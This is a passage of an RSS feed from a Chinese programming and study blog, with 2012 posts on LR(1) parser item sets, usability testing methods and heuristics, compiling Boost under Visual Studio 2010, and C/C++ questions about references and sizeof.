&lt;p&gt;　　短缺原理在现实生活中最常见的运用就是商家所策划的“限量版”商品。不管数量有限的信息是真的还是伪造的，商家的用意都是让顾客相信某种东西不可多得，从而立刻觉得它身价百倍。与数量有限技巧相对应得是“截止时间”策略，也就是对顾客获得推销从业者提供得商品的机会加上时间限制，所谓的“最后三天，清仓甩卖”即源于此。我家附近的最后三天已经for循环了N次了。。。&lt;/p&gt;
&lt;p&gt;　　最后作者也认为世界还是很复杂的，有时候被影响影响也无伤大雅，因为事情太多，不可能完全兼顾，但是对于一些很重要的事情还是要注意避免这类影响。我在读的过程中，也就是书的前半段，讲到利用对比原理和喜好原理来审问犯人，一个好警察一个坏警察，来套取犯人的口供，这在法律上是许可的 ，可我却有些不好的感受，对犯人来说，他受到了心理学的影响，他以为那个警察真的关心他，他以为这个好警察真的好，可是事实上，这只是一种策略罢了，这是多么残忍的一件事啊，所以，昨天我想到了一个词，叫做反心理学，我也不知道具体想表达什么意思，可能当时想的就是避免受到这类心理学应用的影响，不被残忍对待吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>LR(1)项目集规范簇的构造</title>
      <link>http://blog.leaver.me/2012/06/02/lr1%E9%A1%B9%E7%9B%AE%E9%9B%86%E8%A7%84%E8%8C%83%E7%B0%87%E7%9A%84%E6%9E%84%E9%80%A0/</link>
      <pubDate>Sat, 02 Jun 2012 03:50:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/02/lr1%E9%A1%B9%E7%9B%AE%E9%9B%86%E8%A7%84%E8%8C%83%E7%B0%87%E7%9A%84%E6%9E%84%E9%80%A0/</guid>
      <description>&lt;p&gt;　　首先我们知道LR(0)的项目的形式是[A→α·β ]这样的.而在LR(1)中的项目形式是[A→α·β ，a ]，其中A→α·β 为LR(0)项目，称为心，a为终结符或#，称为向前搜索符。对归约项目[A→α·,a]，仅当前输入符号是a时，才能用A→α进行归约。一会将会看到具体的例子。&lt;/p&gt;
&lt;p&gt;　　课本上给出的规则是：我将要对照着规则来说明，这里要强调一下，&amp;quot;,&amp;lsquo;在这里是分隔符。不是终结符。他是一个标志，&lt;/p&gt;
&lt;p&gt;　　以S′→·S，#属于初始项目集中，把&amp;rsquo;#&amp;lsquo;号作为向前搜索符，表示活前缀为γ(若γ是有关S产生式的某一右部)要归约成S时，必须面临输入符为&amp;rsquo;#&amp;lsquo;号才行。因此对初始项目S′→·S，# 求闭包后再用转换函数逐步求出整个文法的LR(1)项目集族。具体构造步骤如下：&lt;/p&gt;
&lt;p&gt;　(1) 构造LR(1)项目集的闭包函数。&lt;/p&gt;
&lt;p&gt;　　a) I 的任何项目都属于CLOSURE(I)
　　b) 若有项目[A→α·Bβ,a ]属于CLOSURE(I)，B→γ是文法中的产生式，β∈V*，b∈FIRST(βa)， 则[B→·γ,b]也属于CLOSURE(I)中。
　　c) 重复b)直到CLOSURE(I)不再增大为止。&lt;/p&gt;
&lt;p&gt;　　(2) 转换函数的构造&lt;/p&gt;
&lt;p&gt;　　LR(1)转换函数的构造与LR(0)的相似，GO(I,X)＝CLOSURE(J)　其中I是LR(1)的项目集，X是文法符号：
　　J={任何形如[A→αX·β,a]的项目 | [A→α·Xβ,a]∈I}&lt;/p&gt;
&lt;p&gt;　　例如下列文法G′为：&lt;/p&gt;
&lt;p&gt;　　(0) S′→S
　　(1) S→aAd　　
　　(2) S→bAc　　
　　(3) S→aec
　　(4) S→bed
　　(5) A→e　
　　构造他的LR(1)项目集规范簇。&lt;/p&gt;
&lt;p&gt;　　以I0=CLOSURE（S′→·S，#）开始。运算。若有项目[A→α·Bβ,a ]属于CLOSURE(I)，B→γ是文法中的产生式，β∈V*，b∈FIRST(βa)， 则[B→·γ,b]也属于CLOSURE(I)中。此时，我们可以把S看成B，#看成a，然后需要求FIRST集合，此时没有β，a为#，所以FIRST（#）中只有一个b=#，而S有四个产生式。所有四个产生式加上#都是在I0中，最终求得的I0项目集为&lt;/p&gt;
&lt;p&gt;　　{　
　　S′→·S,#　　
　　S→·aAd,#　　
　　S→·bAc,#　　
　　S→·aec,#　　
　　S→·bed,#　　
　　}&lt;/p&gt;
&lt;p&gt;　　然后使用GO函数来构造I1，从J={任何形如[A→αX·β,a]的项目 | [A→α·Xβ,a]∈I}我们可以知道I1的核（最初的产生式）就是这里的J，然后呢。X是I（也就是我们的I0）中的·后面的符号，也就是输入符。。可以看到在I0中，X可以为S，a，b，我们先以I1=GO(I0,S)=CLOSURE( S′→S·,# )，注意，·号已经前进了。因为J是I输入进一的项目，求I1，发现·后面没符号了，所以闭包就是他自己了。最终求得的I1的项目集为：&lt;/p&gt;
&lt;p&gt;　　{S′→S·,# }&lt;/p&gt;
&lt;p&gt;　　我们上一步是用的I1=GO(I0,S)来求得，我们求I2的时候使用GO（I0，a）来求，此时X就是a了。然后我们吧I0中符合的项目中的·后移一位得到J然后对J求闭包，就是I2了。此处J=S→a·Ad,# 和S→a·ec,#&lt;/p&gt;
&lt;p&gt;　　I2=GO(I0,a)=CLOSURE(S→a·Ad,# S→a·ec,#)，然后又回到了求闭包了。&lt;/p&gt;
&lt;p&gt;　　对于S→a·ec,#，因为输入符下一位是一个终结符，也就是说没有B→γ这样的产生式，所以这个就不用继续向下求闭包了，闭包就是他自己嘛。然后关键是S→a·Ad,# 此处的A相当于规则中的B，d相当于规则中的β，A→e存在。为了确定这个心的向前搜索符，我们根据规则需要求b∈FIRST(βa)，这里也就是求First(d#),显然结果为b=d，规则中指出[B→·γ,b]也属于CLOSURE(I)，所以可以确定A→·e,d也在I2中。。&lt;/p&gt;
&lt;p&gt;　　最终I2的项目集为&lt;/p&gt;
&lt;p&gt;　　{
　　S→a·Ad,#　　
　　S→a·ec,#　　
　　A→·e,d　　
　　}&lt;/p&gt;
&lt;p&gt;　　到这里，关键点就说完了。只需要继续求GO(I0,b)，然后求GO（I1，X），GO（I2，X）等等。X的确定前面已经说了，就是I1，I2的·后面的符号。就行了。。当然像此处的I1，·后面已经没付好了，所以GO（I1，X）就不用求了。。&lt;/p&gt;
&lt;p&gt;　　这种东西还是要自己手动练习的。所以我给出最终的全部项目集规范簇，大家按照这个步骤来做一做。看看结果对不对吧。
　　&lt;table border=&#34;1px&#34;  rules=all&gt;&lt;tr&gt;&lt;td&gt;
　  I0： S′→·S,#
　　　 　S→·aAd,#
　　　 　S→·bAc,#
　　　 　S→·aec,#
　　　 　S→·bed,#&lt;/td&gt;&lt;td&gt;
　　I1： S′→S·,#&lt;/td&gt;&lt;td&gt;
　　I2： S→a·Ad,#
　　　 　S→a·ec,#
　　　 　A→·e,d&lt;/td&gt;&lt;td&gt;
　　I3： S→b·Ac,#
　 　　　S→b·ed,#
　 　　　A→·e,c&lt;/td&gt;&lt;tr&gt;&lt;td&gt;
　　I4： S→aA·d,#&lt;/td&gt;&lt;td&gt;
I5： S→ae·c,#
　 　    A→e·,d &lt;/td&gt;&lt;td&gt;
I6： S→bA·c,# &lt;/td&gt;&lt;td&gt;
I7： S→be·d,#
　 　   A→e·,c &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
I8： S→aAd·,# &lt;/td&gt;&lt;td&gt;
I9： S→aec·,# &lt;/td&gt;&lt;td&gt;
I10：S→bAc·,# &lt;/td&gt;&lt;td&gt;
I11：S→bed·,# &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;
&lt;p&gt;　　构造的过程很繁琐。有点暴力计算的意思。不过，真正算起来步骤还是比较少的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>比较HE和Think Aloud可用性测试</title>
      <link>http://blog.leaver.me/2012/05/29/%E6%AF%94%E8%BE%83he%E5%92%8Cthink-aloud%E5%8F%AF%E7%94%A8%E6%80%A7%E6%B5%8B%E8%AF%95/</link>
      <pubDate>Tue, 29 May 2012 09:12:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/29/%E6%AF%94%E8%BE%83he%E5%92%8Cthink-aloud%E5%8F%AF%E7%94%A8%E6%80%A7%E6%B5%8B%E8%AF%95/</guid>
      <description>&lt;p&gt;首先，HE和Think Aloud 都是两用可用性测试的方法，HE，也就是这个启发式评估可以在设计的早期阶段（比如草稿）就开始使用，并且不需要太多的其他步骤。而Think Aloud则更多建立在已经设计出来的原型系统上。需要更多的步骤。这两个各有利弊。互相协作。才能更好嘛，有些问题，HE可以发现，有些则只有Think Aloud可以发现。&lt;/p&gt;
&lt;h3 id=&#34;1many-usability-aspects-identified-in-he-are-confirmed-in-think-aloud-usability-tests&#34;&gt;&lt;strong&gt;1.Many Usability Aspects Identified in HE are Confirmed in Think-Aloud Usability Tests&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;许多可用性方面的问题可以在HE中识别。然后在Think Aloud测试中被确认。&lt;/p&gt;
&lt;h3 id=&#34;2when-he-predictions-are-not-confirmed-by-think-aloud-usability-tests&#34;&gt;&lt;strong&gt;2.When HE Predictions are not Confirmed by Think-Aloud Usability Tests&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;当HE预测了问题但是Think Aloud中，并没有发现。这种情况下。请相信Think Aloud测试。因为用户是王道。数据比预测更准确。&lt;/p&gt;
&lt;h3 id=&#34;3&#34;&gt;&lt;strong&gt;3.&amp;ldquo;False Alarms&amp;rdquo; vs. True Problems&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;假警告vs真问题，这个举个例子，在对话框中，有三个按钮。OK ，Apply和Cancel ，虽然HE规则预测了这个迷惑性。但是进行Think Aloud测试的时候，并没有这个问题，原因是用户就没想过这个事，他只按ok，但这并不能避免问题，或者说似乎这个问题并不是个问题，还有一种情况，比如HE规则中的文档帮助的问题，可能用户在测试的时候就没打开文档。这就需要HE来评估了。所以，这种情况下，还是应该好好分析一下HE给出的评估来改进系统。&lt;/p&gt;
&lt;h3 id=&#34;4think-aloud-usability-tests-can-show-things-hes-can&#34;&gt;&lt;strong&gt;4.Think-Aloud Usability Tests Can Show Things HEs Can&amp;rsquo;t Show&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Think Aloud测试可以展示HE没有发现的问题。&lt;/p&gt;
&lt;p&gt;HE规则因为是建立在早期草稿原型上的。并不是真实情况，他只是在早期给出设计上的问题，他不能预测真实系统的问题，比如程序运行速度非常慢，以至于用户难以忍受。这就需要Think Aloud才能发现了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;基本上SSD4就讲了这么些东西了。四篇文章四点写到7点。。基本上算是写完了。工科男求安慰。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Think-Aloud 可用性测试介绍</title>
      <link>http://blog.leaver.me/2012/05/29/think-aloud-%E5%8F%AF%E7%94%A8%E6%80%A7%E6%B5%8B%E8%AF%95%E4%BB%8B%E7%BB%8D/</link>
      <pubDate>Tue, 29 May 2012 09:10:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/29/think-aloud-%E5%8F%AF%E7%94%A8%E6%80%A7%E6%B5%8B%E8%AF%95%E4%BB%8B%E7%BB%8D/</guid>
      <description>&lt;p&gt;中文是指出声思考：出声思考。可用性测试中常用也很有用的一个数据收集方法，来改善产品。要求被测试者把在测试过程中即时的把自己的想法大声说出来。比如，你说我不知道干什么，这个好像有点问题，等等。然后有人来记录。&lt;/p&gt;
&lt;p&gt;SSD4给出的具体步骤翻译添加解释如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Define the study&amp;rsquo;s framework,
定义该测试报告的框架。比如系统准备解决什么问题，适合什么类型的用户，希望评估首次使用还是其他什么，希望最终的目标是什么，比如希望90%的用户可以初次顺利使用。&lt;/li&gt;
&lt;li&gt;Choose what to observe,
选择打算观察测试者的什么行为，比如用户如何打开，先干了什么&lt;/li&gt;
&lt;li&gt;Prepare for the think-aloud usability test,
为测试做准备，比如模拟真实情景，写个流程。开个会，招募实验人员。&lt;/li&gt;
&lt;li&gt;Introduce the participants to the observation procedure,
给实验人员介绍步骤。抚慰一下他们的情绪。告诉他们目的，并且希望他们think aloud。&lt;/li&gt;
&lt;li&gt;Conduct the observation,
进行观察&lt;/li&gt;
&lt;li&gt;Analyze the observation,
分析观察结果 。&lt;/li&gt;
&lt;li&gt;Find possible redesigns,
找到可能需要进行重新设计的地方&lt;/li&gt;
&lt;li&gt;Write a report.
写个总结报告出来。完成
这不也就这样嘛。&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>UAR报告的简单说明</title>
      <link>http://blog.leaver.me/2012/05/29/uar%E6%8A%A5%E5%91%8A%E7%9A%84%E7%AE%80%E5%8D%95%E8%AF%B4%E6%98%8E/</link>
      <pubDate>Tue, 29 May 2012 08:15:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/29/uar%E6%8A%A5%E5%91%8A%E7%9A%84%E7%AE%80%E5%8D%95%E8%AF%B4%E6%98%8E/</guid>
      <description>&lt;h3 id=&#34;uar报告由以下几个部分构成就这个例子简单说一下&#34;&gt;UAR报告由以下几个部分构成。就这个例子简单说一下。&lt;/h3&gt;
&lt;h3 id=&#34;example-uar--time-zone-listbox-is-not-good-标题&#34;&gt;&lt;strong&gt;Example UAR — Time Zone ListBox Is Not Good  //标题&lt;/strong&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;h4 id=&#34;uar-identifier--问题编号从1开始每个问题都这样的格式来说明就构成了uar报告&#34;&gt;&lt;strong&gt;UAR Identifier   //问题编号，从1开始，每个问题都这样的格式来说明，就构成了UAR报告&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;HE18—Problem  //后面这个problem表示有问题，也可以是Good，表示这部分很好。没问题。&lt;/p&gt;
&lt;h4 id=&#34;succinct-description-简短的描述&#34;&gt;&lt;strong&gt;Succinct description: //简短的描述&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Time Zone pull-down ListBox provides too much irrelevant information.&lt;/p&gt;
&lt;h4 id=&#34;evidence-for-the-aspect-违反了哪条规则共有十条规则&#34;&gt;&lt;strong&gt;Evidence for the aspect:  //违反了哪条规则，共有十条规则。&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Heuristic: Aesthetics and minimalist design&lt;/p&gt;
&lt;p&gt;**Interface aspect: **&lt;/p&gt;
&lt;p&gt;The pull-down ListBox has 50 lines of information—in very small font. There are many competing items of information to visually search, the vast majority of which are irrelevant to any one user&amp;rsquo;s particular task of finding a single desired time zone&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;center style=&#34;text-align: -webkit-auto;&#34;&gt;&lt;span style=&#34;font-size: small;&#34;&gt;&lt;span style=&#34;line-height: normal;&#34;&gt;[![](/images/ &#34;uar&#34;)](http://seqcc.icarnegie.com/content/SSD/SSD4/3.1/normal/pg-creatng-evaltng-interfaces/pg-crt-eval-list-combo/pg-he-clean-beauty/Ex5.png)&lt;/span&gt;&lt;/span&gt;&lt;/center&gt;In addition, the information is structured as follows:The string &#34;[GMT &#34; begins each line (which means Greenwich Mean Time). If the time zone is behind GMT, then a &#34;-&#34; indicates this fact, which is followed by the number of hours and minutes the time zone is behind GMT. If the time zone is ahead of GMT, a &#34;+&#34; is used instead. Finally, some words follow the GMT offset, which are either city or country names, or the names of regions.&amp;nbsp;
&lt;p&gt;The presentation of this structured information violates the &lt;strong&gt;aesthetics and minimalist design&lt;/strong&gt; heuristic because the structure is not preserved visually from item to item. For example, the words are not always lined up vertically; see the entries for:&lt;/p&gt;</description>
    </item>
    <item>
      <title>10条可用性准则（Heuristics）</title>
      <link>http://blog.leaver.me/2012/05/29/10%E6%9D%A1%E5%8F%AF%E7%94%A8%E6%80%A7%E5%87%86%E5%88%99heuristics/</link>
      <pubDate>Tue, 29 May 2012 06:52:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/29/10%E6%9D%A1%E5%8F%AF%E7%94%A8%E6%80%A7%E5%87%86%E5%88%99heuristics/</guid>
      <description>&lt;p&gt;SSD4第二单元其实就讲了这么一点东西，包括一点VB的控件常识&lt;/p&gt;
&lt;p&gt;可用性测试（Usability testing），是一项通过用户的使用来评估产品的技术，由于它反应了用户的真实使用经验，所以可以视为一种不可或缺的可用性检验过程[1]。也就是说，可用性测试是指让用户使用产品（服务）的设计原型或者成品，通过观察，记录和分析用户的行为和感受，以改善产品（服务）可用性的一系列方法。它适用于产品（服务）前期设计开发，中期改进和后期维护完善的各个阶段，是用户中心设计的思想的重要体现。&lt;/p&gt;
&lt;p&gt;10条可用性准则（Heuristics）
These are ten general principles for user interface design. They are called &amp;ldquo;heuristics&amp;rdquo; because they are more in the nature of rules of thumb than specific usability guidelines.&lt;/p&gt;
&lt;p&gt;1.Visibility of system status——系统状态的可见性&lt;/p&gt;
&lt;p&gt;The system should always keep users informed about what is going on, through appropriate feedback within reasonable time.&lt;/p&gt;
&lt;p&gt;系统应该始终在合理的时间以适当的反馈信息让用户知道系统正在做什么。&lt;/p&gt;
&lt;p&gt;2.Match between system and the real world——系统和现实世界之间的吻合&lt;/p&gt;
&lt;p&gt;The system should speak the users&amp;rsquo; language, with words, phrases and concepts familiar to the user, rather than system-oriented terms. Follow real-world conventions, making information appear in a natural and logical order.&lt;/p&gt;
&lt;p&gt;系统应该用用户熟悉的词，短语和概念来说用户的语言，而不是用面向系统的术语。遵循现实世界中的惯例，让信息以自然的合乎逻辑的次序展现在用户面前。&lt;/p&gt;
&lt;p&gt;3.User control and freedom——用户控制和自由&lt;/p&gt;
&lt;p&gt;Users often choose system functions by mistake and will need a clearly marked &amp;ldquo;emergency exit&amp;rdquo; to leave the unwanted state without having to go through an extended dialogue. Support undo and redo.&lt;/p&gt;
&lt;p&gt;用户经常错误地选择系统功能，所以在不需要查看由于误操作而延伸出来地对话的情况下有一个明显地标志为“紧急退出”的操作来离开不想要的状态。另外，系统需要支持“撤销操作”和“重做”的功能。&lt;/p&gt;
&lt;p&gt;4.Consistency and standards——一致性和标准&lt;/p&gt;
&lt;p&gt;Users should not have to wonder whether different words, situations, or actions mean the same thing. Follow platform conventions.&lt;/p&gt;</description>
    </item>
    <item>
      <title>VS2010 编译安装boost库</title>
      <link>http://blog.leaver.me/2012/05/24/vs2010-%E7%BC%96%E8%AF%91%E5%AE%89%E8%A3%85boost%E5%BA%93/</link>
      <pubDate>Thu, 24 May 2012 11:39:55 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/24/vs2010-%E7%BC%96%E8%AF%91%E5%AE%89%E8%A3%85boost%E5%BA%93/</guid>
      <description>&lt;p&gt;实践是最好的办法。。学习C++，想试试线程，然后打算用boost库，结果boost库编译差点吓到我。。没看到比较完整的安装教程。。一直耽搁。今天动手。完成了。方法记录如下：
1.下载boost
从boost官网( &lt;a href=&#34;http://www.boost.org&#34;&gt;http://www.boost.org&lt;/a&gt; )上下载最新的boost版本，现在最新是1.49版本，解压到自定义目录(我解压到了D:/program files,最终的目录结构是D:\Program Files\boost_1_49_0)&lt;/p&gt;
&lt;p&gt;2.编译安装&lt;/p&gt;
&lt;p&gt;在D:\Program Files\boost_1_49_0的目录下，有一个bootstrap.bat文件，直接双击运行。就会在同目录生成b2.exe；bjam.exe两个文件。&lt;/p&gt;
&lt;p&gt;3.设定编译环境
修改user-config.jam (D:\Program Files\boost_1_49_0\tools\build\v2\user-config.jam) 的MSVC configuration&lt;/p&gt;
&lt;h1 id=&#34;msvc-configuration&#34;&gt;MSVC configuration&lt;/h1&gt;
&lt;h1 id=&#34;configure-msvc-default-version-searched-for-in-standard-locations-and-path&#34;&gt;Configure msvc (default version, searched for in standard locations and PATH).&lt;/h1&gt;
&lt;h1 id=&#34;using-msvc-&#34;&gt;using msvc ;&lt;/h1&gt;
&lt;p&gt;在上面这段的下面直接添加如下的文字。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using msvc : 10.0 : :/wd4819/D_CRT_SECURE_NO_DEPRECATE/D_SCL_SECURE_NO_DEPRECATE/D_SECURE_SCL=0 ;&lt;/pre&gt;
&lt;p&gt;保存关闭。&lt;/p&gt;
&lt;p&gt;4.开始编译
点击开始-&amp;gt;所有程序-&amp;gt;“Microsoft Visual Studio 2010”，指向“Visual Studio tools(工具)”，然后单击“Visual Studio 2010 command prompt（命令提示）” 使用cd切换到D:\Program Files\boost_1_49_0目录。这个就不说了
然后输入如下的代码：&lt;/p&gt;
&lt;pre class=&#34;lang:sh decode:true  crayon-selected&#34;&gt;b2 toolset=msvc-10.0 architecture=x86 instruction-set=i686 address-model=32 link=static 
variant=debug,release threading=multi runtime-link=shared --without-python --without-mpi 
--without-wave --without-graph --without-math --without-serialization stage&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;解释一下命令的意思：
1.toolset：表示编译器工具，我安装的是VS2010，所以是msvc-10(如果你是VS2005，可以使用msvc-8.0 VS2008是msvc-9.0)
2.architecture：表示架构，也就是你的CPU架构，x86,x64，因为我安装的是win7 32位，所以使用了x86的架构
3.instruction-set：表示指令集，依然是8086指令集
4.address-model：表示地址长度为32位
5.link：表示生成动态/静态链接库，动态链接库是shared，静态链接库是static，一般都会编译成静态库，因为给出程序的时候打包boost的库会非常庞大
6.variant：表示生成的Debug或者release版本，一般情况下会两种版本都会编译出来的
7.threading：表示单/多线程编译，一般我们的程序都会用到多线程，所以选择了multi
8.runtime-link：表示动态/静态链接C/C++运行时库(C/C++ Runtime)，我们选择了动态链接
9.without/with：表示不需要编译/需要编译哪些库，一些自己不用的库可以无需编译
10.stage/install：stage表示只生成库文件(DLL和Lib)，install还会生成包含头文件的include目录，推荐使用stage，因为boost_1_49\boost中就是boost库完整的头文件，所以无需再拷贝一份出来。编译出来的库会放在stage文件夹中
这样一份完整的boost库就生成了，剩下就是直接使用到项目中了。&lt;/p&gt;
&lt;p&gt;其实编译的具体命令都是可以自己写的。如果你需要编译所有。只需要使用下面的这行代码
b2 &amp;ndash;toolset=msvc-10.0 &amp;ndash;build-type=complete
就可以了。&lt;/p&gt;
&lt;p&gt;不出问题的话。就开始编译了。。登个半个多小时吧。就会完成了。
5.设置vs
打开vs，新建一个工程。然后工程属性。配置属性-&amp;gt;C/C++ ，附加包含目录
填上
D:\Program Files\boost_1_49_0;%(AdditionalIncludeDirectories)
这个是最终的结果，你也可以手动添加&lt;/p&gt;
&lt;p&gt;在左侧选择链接器-&amp;gt;附加库目录，填上
D:\Program Files\boost_1_49_0\stage\lib;%(AdditionalLibraryDirectories)
就可以了。&lt;/p&gt;
&lt;p&gt;6.测试
在你新建的工程里输入如下的代码。运行成功就说明可以了&lt;/p&gt;
&lt;pre class=&#34;lang:c++ decode:true &#34;&gt;#include &amp;lt;boost/thread/thread.hpp&amp;gt;
#include &amp;lt;iostream&amp;gt;

void hello()
{
        std::cout &amp;lt;&amp;lt;
        &#34;Hello world, I&#39;m a thread!&#34;
        &amp;lt;&amp;lt; std::endl;
}

int main(int argc, char* argv[])
{
        boost::thread thrd(&amp;amp;hello);
        thrd.join();
        return 0;
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;参考：
&lt;a href=&#34;http://www.cppfans.org/1317.html&#34;&gt;http://www.cppfans.org/1317.html&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/ComputerG/archive/2011/03/10/1979730.html&#34;&gt;http://www.cnblogs.com/ComputerG/archive/2011/03/10/1979730.html&lt;/a&gt;
&lt;a href=&#34;http://www.cppblog.com/shaker/archive/2011/11/30/33583.html&#34;&gt;http://www.cppblog.com/shaker/archive/2011/11/30/33583.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C&#43;&#43; 独立引用，为什么？</title>
      <link>http://blog.leaver.me/2012/05/23/c-%E7%8B%AC%E7%AB%8B%E5%BC%95%E7%94%A8%E4%B8%BA%E4%BB%80%E4%B9%88/</link>
      <pubDate>Wed, 23 May 2012 07:25:04 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/23/c-%E7%8B%AC%E7%AB%8B%E5%BC%95%E7%94%A8%E4%B8%BA%E4%BB%80%E4%B9%88/</guid>
      <description>&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;I read in some good C++ tutorial that independent references do exist, and act like aliasing.
我读了一些好的C++文章，发现独立引用确实存在，并且很像别名。
But&amp;hellip; I wonder what it is made for.
但是，，，我想知道他适用于什么情况。
Why should one want to use aliasing.Besides, some piece of code that is not clear to me:
为什么有人想使用别名呢，另外，下面这段代码我不太清楚。&lt;/p&gt;
&lt;pre class=&#34;lang:c++ decode:true&#34;&gt;int a;
int &amp;amp;ref = a; // independent reference
int b = 19;
ref = b;
cout &amp;lt;&amp;lt; a &amp;lt;&amp;lt; &#34; &#34; &amp;lt;&amp;lt; ref &amp;lt;&amp;lt; &#34;\n&#34;;
ref--;
cout &amp;lt;&amp;lt; a &amp;lt;&amp;lt; &#34; &#34; &amp;lt;&amp;lt; ref &amp;lt;&amp;lt; &#34;\n&#34;;&lt;/pre&gt;
&lt;span style=&#34;font-family: monospace;&#34;&gt;
&lt;/span&gt;
&lt;p&gt;First, ref is a &amp;lsquo;reference&amp;rsquo; to a.I understand from second line of code that address for ref (hence the ampershead) is
首先，ref是一个对a的引用，从第二行代码那我认为ref的地址也就是a，（括号里面不清楚什么意思。貌似是作者写错了）&lt;/p&gt;
&lt;p&gt;a. Then, integer ref is assigned the value of b (19). First cout returns a and ref, both equal to 19.
然后呢，整数ref被b（19）被赋值，第一次输出a和ref，都是19，&lt;/p&gt;
&lt;p&gt;Why? Isn&amp;rsquo;t integer a the address for ref? Then, decrements ref, and last cout gives two times 18. a and ref where decremented.
为什么，难道整数a不是给ref的地址？然后ref自减，最后输出了2个18，a和ref都减少了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>c &amp; c&#43;&#43;中sizeof返回值不同?</title>
      <link>http://blog.leaver.me/2012/05/22/c-c-%E4%B8%ADsizeof%E8%BF%94%E5%9B%9E%E5%80%BC%E4%B8%8D%E5%90%8C/</link>
      <pubDate>Tue, 22 May 2012 11:28:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/22/c-c-%E4%B8%ADsizeof%E8%BF%94%E5%9B%9E%E5%80%BC%E4%B8%8D%E5%90%8C/</guid>
      <description>&lt;p&gt;问题:
A character array is defined globally and a structure with same name is defined within a function.
一个字符数组被定义为全局变量，一个相同名字的结构体被定义在一个函数内部。&lt;/p&gt;
&lt;p&gt;Why sizeof operator returns different values for c &amp;amp; c++ ?
为什么sizeof操作符对于C和C++返回了不同的值呢？&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;char S[13];
void fun()
{
    struct S
    {
        int v;
    };
    int v1 = sizeof(S);
}
// returns 4 in C++ and 13 in C&lt;/pre&gt;
&lt;p&gt;答案：
Because in C++, the struct you defined is named S, while in C,
因为在C++中，你定义的结构体的名称是S，而在C中，&lt;/p&gt;
&lt;p&gt;it&amp;rsquo;s named struct S (which is why you often see typedef struct used in C code).
他叫做struct S（这也是为什么我们可以经常看到typedef struct 被用在C代码中）。&lt;/p&gt;
&lt;p&gt;In C, to refer to the struct type, you need to say struct S. Therefore, sizeof(S) refers to the array.
在C中，引用一个结构类型的时候，你必须说struct S，因此，sizeof（S）调用的是数组S。&lt;/p&gt;
&lt;p&gt;In C++, struct is unnecessary. So the local S hides the global S.
在C++中，struct这个字不是必需的，所以局部变量S隐藏了全局变量S。&lt;/p&gt;
&lt;p&gt;If you were to change the code to the following, you would get the expected results:
如果你把代码改成下面的样子，你就能得到你期望的结果了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>为什么sizeof(str.substr(0,3).c_str())=8?</title>
      <link>http://blog.leaver.me/2012/05/21/%E4%B8%BA%E4%BB%80%E4%B9%88sizeofstr.substr03.c_str8/</link>
      <pubDate>Mon, 21 May 2012 06:59:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/21/%E4%B8%BA%E4%BB%80%E4%B9%88sizeofstr.substr03.c_str8/</guid>
      <description>&lt;p&gt;问题：
&lt;code&gt;string str = &amp;quot;abcdefgdcb&amp;quot;; cout &amp;amp;lt; &amp;amp;lt; sizeof(str.substr(0,3).c_str());&lt;/code&gt;
For some reason, the above string is giving me 8. I assumed c_str() returns a null string,
由于某些原因，上面的这个字符串得到的结果是8，我估计c_str()返回了一个null，&lt;/p&gt;
&lt;p&gt;and sizeof uses the null to determine the size of the string.
并且sizeof函数使用这个null来定义这个字符串的大小。&lt;/p&gt;
&lt;p&gt;答案：
Because sizeof doesn&amp;rsquo;t give you the length of a string,
因为sizeof给你的不是一个字符串的长度，&lt;/p&gt;
&lt;p&gt;it gives you the size of the type (const char * in this case). Try strlen.
他给你的是这个类型的大小（这种情况下的类型是c_str()返回的const char*类型），想要得到正确的结果，试试strlen函数吧。&lt;/p&gt;
&lt;p&gt;On your system, sizeof (const char &lt;em&gt;) == 8, like any other pointer.
在你的系统上，sizeof(const char&lt;/em&gt;)=8,和其他所有的指针类型一样。&lt;/p&gt;
&lt;p&gt;8 is the size of a pointer on your machine (64-bit)
8是在你的64位电脑上一个指针的大小&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s your problem. sizeof tells you the size of a variable,
别乱假设，sizeof告诉你一个变量的大小，&lt;/p&gt;
&lt;p&gt;which has nothing to do with the value inside the variable, ever.
他不会进入变量里面对变量做任何改变的。。永远不会。&lt;/p&gt;
&lt;p&gt;问题:&lt;a href=&#34;http://stackoverflow.com/q/10668764/764869&#34;&gt;http://stackoverflow.com/q/10668764/764869&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>快速排序算法</title>
      <link>http://blog.leaver.me/2012/05/19/%E5%BF%AB%E9%80%9F%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95/</link>
